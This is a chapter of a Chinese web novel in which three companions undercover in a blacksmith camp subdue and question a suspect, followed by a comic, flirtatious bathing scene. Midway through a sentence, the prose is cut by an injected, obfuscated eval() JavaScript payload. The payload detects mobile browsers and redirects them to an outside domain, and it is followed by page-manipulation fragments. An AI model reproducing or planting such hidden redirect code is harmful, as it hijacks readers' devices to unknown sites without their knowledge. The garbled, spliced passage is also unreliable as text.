莲反 作品
112. 是两颗腌梅子啊
她心底更加笃定——卫龙那反应,分明是知道张虎的事情,甚至还牵扯其中。
夜深人静,整个铁匠营里只剩下火光和几声低语。
陶夭、沈卓和王玄清蹲在水桶旁,继续刷着永远也洗不完的锅碗瓢盆。
陶夭毕竟说下过大话,又忍耐了会儿,终是气愤地将手里的碗一甩:“我的手泡得发白了!”
她撅起嘴,举着自己皱巴巴的手,像是受了天大的委屈:“居然还让我干这些粗活!”
沈卓放下手中抹布,轻轻握住陶夭手腕查看。
眼底闪过一丝不易察觉的心疼。
“那……要不你先回去吧?去外面接应我们。”
“哼,我怎么可能丢下你们俩走?”
陶夭表示自己还是讲义气的!
“再说了,这事儿要是没我,能成吗?”
一旁的王玄清默默看着这场“撒娇哄劝”的戏码,慢吞吞地擦完手上的碗。
“那你俩继续聊,我去放哨?”
“回来!”陶夭立马回头瞪他。
“想偷懒?”
“我这不是给你们一些空间么。”
王玄清耸耸肩,表示自己完全是好心。
陶夭嘟嘴哼了声,重新蹲下来抓起碗:“卫龙那个混蛋,竟然敢让我干这些活……本姑娘到时候定要让他把全青州的碗都刷了!”
话音刚落,卫龙表情阴狠地推门而入。
就跟一直在外头偷听似的。
陶夭脸上的表情一僵,光速转变成一副讨好的样子,忙不迭地举起手里刚洗干净的碗,笑眯眯地自夸:“卫大哥你看,咱这碗洗得多亮!是不是快赶上镜子了?”
卫龙扫了一眼她的手,毫不领情:“行了行了,碗一会儿再洗。说说吧,你们到底是什么人?和张虎什么关系?”
陶夭眼神微闪:“您这说的哪里话,我们……就普通人而已。”
卫龙眯起眼睛,显然不信:“那你们又是因为什么进来的这里?别告诉我,真的是来讨生活的。”
陶夭嘴巴比脑子快:“那当然就是讨生活了。其实吧……”
她转转眼珠,决定和对方周旋一下,以便套取更多线索。
“不知道是哪路英雄干掉了张虎……他不是从咱这里……拿了点东西么,我们几个只是想要走通这个渠道,赚点外快罢了。”
卫龙冷笑一声,逼近几步,声音有些危险:“既然如此,那你们就不能留了。”
白日里,他已经给过他们机会了。
但是他们没走。
这更说明是另有所图!
陶夭脸上笑容不变,声音却跟着冷硬起来:“这句话……奉还给你。”
空气里弥漫着一触即发的火药味。沈卓和王玄清的目光不约而同地落在卫龙身上。
他的手已悄然摸向腰间的短刀。
王玄清眼神一敛,手腕一翻,脚一扫,迅速将卫龙制服在地。
卫龙痛呼一声,却被王玄清轻描淡写地按住脉门,动弹不得。
陶夭拍拍胸口,果然带一个会武功的还是相当重要的。
“你究竟是谁?跟我们合作吧,否则今天你走不出这间屋子。”
沈卓蹲下身子,细致地查看卫龙随身携带的毒药。
“果然是南岭特有的毒物。”
“我看看~”
陶夭不以为然地伸出手,想要触碰。
沈卓抬手轻轻挡住陶夭的动作:“小陶别闹……”
他眉头微蹙:“这东西危险得很,汁液遇热挥发成毒雾,稍有不慎,我们都会中毒。”
“没事的,这会儿都入秋了,哪来的高温?”
陶夭不再纠缠,脑海中灵光一闪,笑意深深地看向卫龙:“卫龙,张虎是你杀的吧?”
卫龙冷笑一声,眼中带着一丝挑衅:“你们没有证据,就算把我抓了又能怎么样?”
陶夭轻轻哼了一声,指尖点点沈卓手中那深绿色的毒叶子,语气透着几分戏谑:“这南岭的毒叶子可不这么想,它们就是最好的证据。卫龙,你承认不承认?”
见人不答,她眼神一沉,声音压得更低:“不承认?那我不介意让这毒叶子回到你的嘴里,让你也尝尝它的滋味。”
卫龙的脸色变了变,挣扎着低吼:“张虎,不过是个红手帮的三级镖师,他竟敢威胁我!他活该!”
陶夭眯起眼睛,冲着突破口猛戳:“他威胁你什么了?”
卫龙自知失言,冷着脸不再吭声。
陶夭眉毛一挑,语气更加咄咄逼人:“他到底威胁了你什么?还能有什么比在这里倒卖乌金,私造武器更厉害的秘密?无非就是……你也在倒卖,对吧?”
卫龙的拳头紧了紧,却依然一言不发。
于是,陶夭、沈卓、王玄清三人对外宣称卫龙病了,实际上却用床单把卫龙结结实实地绑了,塞在他那屋里防止他坏事。
一整天就是到了饭点的时候,给人送点饭吃。
一时半会还真就成功掩人耳目了。
“我就说吧,你当这世上有谁是真离不了谁?那一个个的,怕是都巴不得卫龙死翘翘了然后上位呢。”
“小陶……”沈卓刚想说什么,被王玄清打断。
“……话糙理不糙。”
道长难得夸人。
把陶夭美得。
这天,给卫龙送完晚饭,就在那跟沈、王二人吹嘘自己的英明神武,料敌于先。
沈卓含笑听着,时不时地就应上几声。
突然身边人就看不见了。
原是陶夭走着走着就吧唧一下摔了。
“……”
她被沈卓扶起来,看看自己的衣服,袖口上都是污泥……
刚才的触感好像是软乎乎,黏答答的……她还以为是黄泥……呃……好像又不是?
还有点热热的。
陶夭不死心地闻了闻,甚至还有一股臭臭的味道!
陶夭面无表情地反应了一会儿。
……是马粪!
抬头又见沈卓和王玄清二人正在那盯着自己,目光有些诡异。
沈卓还好,躲避的动作还没那么明显。
王玄清已是“噗”地笑出了声,甚至还退了好几步。
陶夭也开始嚎:“哇啊——人家好痛啊!你们好讨厌好过分的!”
她居然跌在马粪上了!这是什么运气哦!
“人家为了破案又出钱又出力,做苦力,脑袋别在裤腰带上还要被你们笑……哇啊——”
陶夭越想越悲愤,眼泪滚滚的,江河直下。
若夏日暴雨,完全止不住。
“人家不干了啦!”
沈卓赶紧安慰:“好了小陶,快将外衣脱下来。”
她却在那原地跺脚,也不理人,也不清理。
显然是破防得很厉害。
沈卓哭笑不得。
王玄清也止了笑话她的心思。
二人相视无言。
道长挑挑眉。
你去?
“……”
沈卓只能强行抱住扭着身子发脾气的小姑娘。
“好了好了,没事的,咱们去洗洗,马上又能变得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736349|164562||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
香喷喷的了……”
“哇你骗人——我都臭了——你们都笑话我——”
陶夭干脆将眼泪鼻涕全擦人衣襟上。
“没事。”沈卓拍拍她背。
“我之前就拿了厨房清洗用的丝瓜瓤……”
“干嘛……你要刨我?”
陶夭愈加悲愤,都哭得打嗝了。
“不是……”沈卓默默将“可以搓背”几个字咽了下去,“你的衣服我会帮你洗的。我搜集了皂荚,制成了皂角,放心,你马上就能变得香气扑鼻的。”
这会儿他只能说违心话了。
陶夭痛哭了一会儿,终于抬头,抽抽搭搭的:“这里哪里有地方洗澡嘛……”
她看一眼沈卓,又有点不好意思。
他衣服本来挺干净的,也被自己弄得脏兮兮的。
陶夭这会儿安静下来。
她并不想将脸重新埋进沾了异味的衣服。
沈卓掏出帕子给她擦眼泪:“这几天我和玄清兄夜里查探过地形,玄清兄还回过一趟青州。”
“什么什么……嗝……你们什么时候去的,我怎么不知道他还去搬救兵了?”
“行了先去洗澡吧!”王玄清冲她做了个“请”的动作。
“我去给你们拿替换衣物。”
未名湖中。
沈卓再三保证这湖水绝对不深后,陶夭倒也没有很矫情,脱得就剩肚兜,便往湖里砸。
夏末时节,刚好是能多泡一泡。
月色如水,清浅的溪流映着银辉。
水里,一抹娇俏的身影正时而沉时而浮。
陶夭跟颗掩得入味儿的梅子似的,时不时在水里转圈,像条小鱼似的。
她非常希望自己能恢复新鲜梅子的水灵质感!
陶夭头顶的发髻微微散开,几缕湿发贴在脸颊上,更添几分娇憨。
溪边的沈卓早转过身,背对着她,努力让自己目不斜视。
只是肩膀略微僵硬。
耳边的潺潺水声叫他根本没法专注在自己手里的事情上。
“沈卓,”陶夭一边拨弄水花,一边随意地开口,“你要不也下来洗洗?看看都脏成什么样了。”
她也不反思谁是始作俑者,也不反思谁是腌入味的那个。
沈卓沉默了片刻:“不用……你先洗吧。”
顿了顿,他补充道:“待会儿让玄清兄送你回去。”
这怎么能一起洗呢?!
水里溅起一片水花,陶夭噗嗤一笑:“哎呀,你这人真是!若是心中无鬼,怕的什么?”
沈卓心里像被水里的那颗腌梅子狠狠撞了一下,激起层层涟漪。
“我……”他就是心中有鬼啊。
腌梅子夭懒懒地漂在水里,继续怂恿人:“我跟你说哦,你看湖对岸,离我老远的,要不你去那洗。我保证不看你还不成。哎呀你转过来嘛!”她伸手往湖对岸一指:“沈卓你看那,还有块石头呢!刚好挡住了我的视线!你别怕么!”
“我……”
沈卓微微侧目,又马上转过身去:“……那好吧,但是你不能看,知道么?”
“不看不看~”
陶夭当即湿淋淋的双手捂住自己的眼睛,然后留下超级大的眼睛缝,装模作样。
“放心放心。”
水珠顺着她的发梢和手腕滴落,落回湖中。
像珍珠落玉盘。
沈卓顿了脚步,心里泛起一种微微异样的感觉,像是水波轻轻拍打心房。
他想说点什么,可话到嘴边又咽了下去,只是低低咳了一声:“你……记得要闭紧眼睛。”
“好啦好啦~”